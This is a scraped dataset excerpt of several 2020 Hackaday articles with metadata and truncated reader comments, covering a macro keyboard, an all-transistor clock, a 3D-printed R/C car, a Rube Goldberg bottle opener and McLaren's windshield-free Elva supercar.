This lovely little macro keyboard is every bit as useful as it is cool looking
. Spinning the rotary encoder cycles through a menu of programs on the 16×2 LCD, and the key map just updates automatically for the chosen program. At the heart of this build is an Arduino Pro Micro and 20 of the loudest key switches ever made — Cherry MX blues. We like that it manages to look like toy cash register and a serious peripheral all at once — it probably has something to do with those way-cool circular keycaps that were made on a resin printer.
We’re glad that [FabroLabs] laid down such a comprehensive and open build guide during the process of making this macro keyboard. The average hacker can learn a lot from industrial designers who show their work.
Remember the time [Eric Strebel] showed us all how to improve our foam board design game? | 18 | 6 | [
{
"comment_id": "6237801",
"author": "Alphatek",
"timestamp": "2020-04-16T17:13:48",
"content": "Damn. In the frontpage photo of the finished thing, I thought each keycap was one of the Playstation-style thumbsticks. Now that’d be a keyboard to behold!Nice job though.",
"parent_id": null,
"d... | 1,760,373,525.632394 | ||
https://hackaday.com/2020/04/09/tell-time-like-its-1960-with-this-all-transistor-digital-clock/ | Tell Time Like It’s 1960 With This All-Transistor Digital Clock | Dan Maloney | [
"clock hacks"
] | [
"clock",
"discrete component",
"divider",
"Manhattan Style",
"schmitt trigger",
"stair step",
"transistor"
] | When you’ve got time on your hands, doing something the hard way can be therapeutic. Not that the present situation and the abundance of free time that many are experiencing has anything to do with [Leo Fernekes]
all-transistor digital clock build
, which he started a year ago with his students. But if you’ve got time to burn, this might be a good way to do it.
[Leo] says one of his design goals with this clock was to do it with the technology commercially available in 1960, which means relying completely on discrete components. And he and his students managed to do just that, with the exception of the seven-segment displays, which were built from the LED filaments from some modern light bulbs. Everything else, though, is as old school as it gets, and really underscores all the complexity that gets abstracted away from timekeeping with modern chips. The video below covers each module in detail, from the Schmitt trigger that cleans up the 50-Hz line frequency to the ring counters and diode matrices used to drive the display. We found the analog stair step dividers used to bring the line frequency down to a more usable pulse train particularly interesting. That clever bit of engineering saved 10 transistors over what would be required for traditional flip-flop dividers.
There’s a lot to learn from this design, and the execution is great too – we’re suckers for
Manhattan-style builds
, of course. Hats off to [Leo] and his lucky students on a great build. | 44 | 14 | [
{
"comment_id": "6235917",
"author": "Kyle K",
"timestamp": "2020-04-10T01:07:37",
"content": "I think I’ve been working on the exact opposite of this. ESP32 driving a 7 segment 4 digit display over i2c",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6235922",
... | 1,760,373,525.580283 | ||
https://hackaday.com/2020/04/09/the-evolution-of-a-3d-printed-off-road-r-c-car/ | The Evolution Of A 3D Printed Off-Road R/C Car | Tom Nardi | [
"Toy Hacks"
] | [
"3d printed",
"gearbox",
"off road",
"OpenR/C",
"remote controlled"
] | For about as long as hackers and makers have been using desktop 3D printers, there have been critics that say the plastic parts they produce aren’t good for much else than toys and decorative pieces. They claim that printed parts are far too fragile to be of any practical use, and are better suited as prototype placeholders until the real parts can be injection molded or milled. Sure. Try telling that to [Engineering Nonsense].
He recently wrote in (as did a few other people, incidentally)
to share the latest version of his incredible 3D printed remote control car
, and seeing it tearing around in the video after the break, “fragile” certainly isn’t a word we’d use to describe it. Though it didn’t get that way overnight. The Tarmo4 represents a year of development, and as the name suggests, is the fourth version of the design.
We know the purists out there will complain that the car isn’t
entirely
3D printed, but honestly, it’s hard to imagine you could get much closer than this. Outside of the electronics, fasteners, tires, and shocks, the Tarmo4 is all plastic. That includes the gearbox and drive shafts. [Engineering Nonsense] even mentions in the video that he’s not happy with the tires he’s found on the market, and that they too will likely get replaced with printed versions in the future.
While the car is certainly an incredible technical achievement, what’s perhaps just as impressive is the community that’s developed around it in such a relatively short time. Towards the end of the video he shows off a number of custom builds based on previous iterations of the Tarmo. We’re sure that interest from the community has played a part in pushing the design forward, and it’s always good to see a one-off project become something bigger. Hopefully we’ll be seeing even more from this passionate community in the near future.
Just like the Open R/C Project
, Tarmo proves that 3D printed parts are more than a novelty. If these diminutive powerhouses can run with printed gears and drive shafts, then you shouldn’t have anything to worry about when you run off the parts for your next project. | 13 | 4 | [
{
"comment_id": "6235848",
"author": "RW ver 0.0.3",
"timestamp": "2020-04-09T20:16:52",
"content": "Now if I were trying to prove a point about real world usefulness, I think I’d pick something better than what 99% of the world is going to regard as a toy car. Or is Tom doing that thing again, putt... | 1,760,373,525.690574 | ||
https://hackaday.com/2020/04/09/a-gamblers-bottle-opener/ | A Gambler’s Bottle Opener | Moritz v. Sivers | [
"Beer Hacks",
"home hacks"
] | [
"Beer Bottles",
"bottle opener",
"rube goldberg machine",
"woodworking"
] | People can certainly become creative when it comes to completing simple tasks like that of removing a bottle cap. Woodworker [Matt Thompson] has come up with a
next-level bottle opener
that not only does the job but also functions as a game of chance. (Video, embedded below.)
The process usually starts with a spin of his
chore wheel
that will surprisingly often advise you to drink a beer. While the bottle cap is removed by a standard wall-mounted opener, the fun starts when the cap falls through a wooden labyrinth of various mechanisms reminiscent of a Rube Goldberg machine. Finally, the cap goes through an arrangement of nails, known as a
Galton Board
which is also found in some pinball and historic gaming machines, before landing in one of two containers marked “winner” and “try again”. The former will trigger the rotating wheel of a self-built peanut dispenser to provide the thirsty person with some tasty snacks. While we would love to see a making-of video with more technical details of this project, we still appreciate the exquisite woodworking and fine craftsmanship that went into building it.
By the way, if you are ever in need of an Arduino board that can also serve as a bottle opener then have a look at
HaDuino
.
[Thanks to Emanuel for pointing out the proper name of the Galton Board] | 12 | 10 | [
{
"comment_id": "6235839",
"author": "crashsuit",
"timestamp": "2020-04-09T19:43:03",
"content": "I appreciate how, much like the “drink a beer” spinner, all the levers and bobs and nails are just for show, and don’t actually have an effect on the outcome.",
"parent_id": null,
"depth": 1,
... | 1,760,373,525.742969 | ||
https://hackaday.com/2020/04/09/no-windshield-no-problem-says-mclaren/ | No Windshield? No Problem, Says McLaren | Kristina Panos | [
"car hacks",
"Hackaday Columns",
"Original Art",
"Slider"
] | [
"active air management",
"buffeting",
"McLaren",
"snow globe",
"supercar",
"windscreen",
"windshield"
] | All the best sports cars look like they’re moving when they’re just sitting there, and the lines on McLaren’s newest limited-edition plaything redefine that look of speed standing still. Maybe it’s the sneering headlights or the streamlined, reverse-1966 Batmobile styling. Whatever it is, the 804-horsepower two-seater project Elva looks like it’s leaping off the line into the future.
But this future is free from the last thing we’d expect to see removed from any vehicle, especially a $1.7 million supercar — the windshield. Now that the headphone jack has been deemed expendable, it seems that nothing is sacred. The Elva is already a permanent convertible with no windows.
Though McLaren didn’t start this weird and windowless fire, the Elva is meant to fan the flames of futurism
. She joins the ranks of a few windshield-free models from Ferrari, Mercedes-Benz, and Aston Martin. In the other guy’s cars, you’ll need a helmet above 30MPH unless you love the thunderous sounds of air buffeting and blown-out hair. It’s a young idea with a few bugs to work out.
What the Elva brings to the road and track is a solution to this problem that didn’t need an answer. McLaren calls it the Active Air Management System (AAMS). Basically, the car guides air up and over the cab to create a “bubble of calm”. You can see it come to life in the wind tunnel demo embedded below. Stick around for a Top Gear tour of a model version.
Here’s how it works: when the car exceeds 30MPH, the deflector panel on the nose flips up. Air coming in the low-slung grille is angled upward inside the deflector, and as it exits, this bent air mixes with air forced up and over the deflector to create a force field around the cab. The result? A seamless sea of smeared scenery inside an air pocket that’s quiet enough for conversation, and still enough for lighting $100 cigars with ease. Smooth sailing indeed — at least until the car in front of you kicks up a pebble.
Looks good coming or going. Image via
Car and Driver
A Few Bugs to Work Out
You’re right, it
is
a ridiculous idea. When questioned about the consequences of bugs entering the Elva’s rarefied air, the project’s chief engineer said that ‘it depends on the mass of the bug’.
When pressed for answers about how the AAMS would deal with rocks, there was only unintelligible murmuring among the reps.
Nature isn’t the only issue here. The AAMS causes drag and balance issues, so the Elva needs an active, algorithmically-controlled rear wing to compensate. You’d never guess from the lines, though — the back end looks great in spite of (or perhaps because of) this corrective measure.
To the average, single-car owning consumer, this whole concept can seem like a maddeningly stupid waste of time and money. But let’s say you’re in league with billionaires and happen to be in the market for a new sports car. Not a daily driver, mind — you’re a billionaire, you have Jeeves to take you to stockholder meetings. This is a new toy we’re talking about. Don’t you want one that stands out from all the other rolling fortunes at the country club?
You’d better hurry, because McLaren is only making 399 of these things. And if you’re in the US, try to take delivery elsewhere, because all the Elvas headed there will have windshields.
Main image via
Car and Driver
Thumbnail image via
McLaren | 79 | 30 | [
{
"comment_id": "6235785",
"author": "macsimski",
"timestamp": "2020-04-09T17:08:49",
"content": "that’s’ not called a feature, its called marketing for a reason.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6235794",
"author": "msat",
"timestamp": "... | 1,760,373,525.852486 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.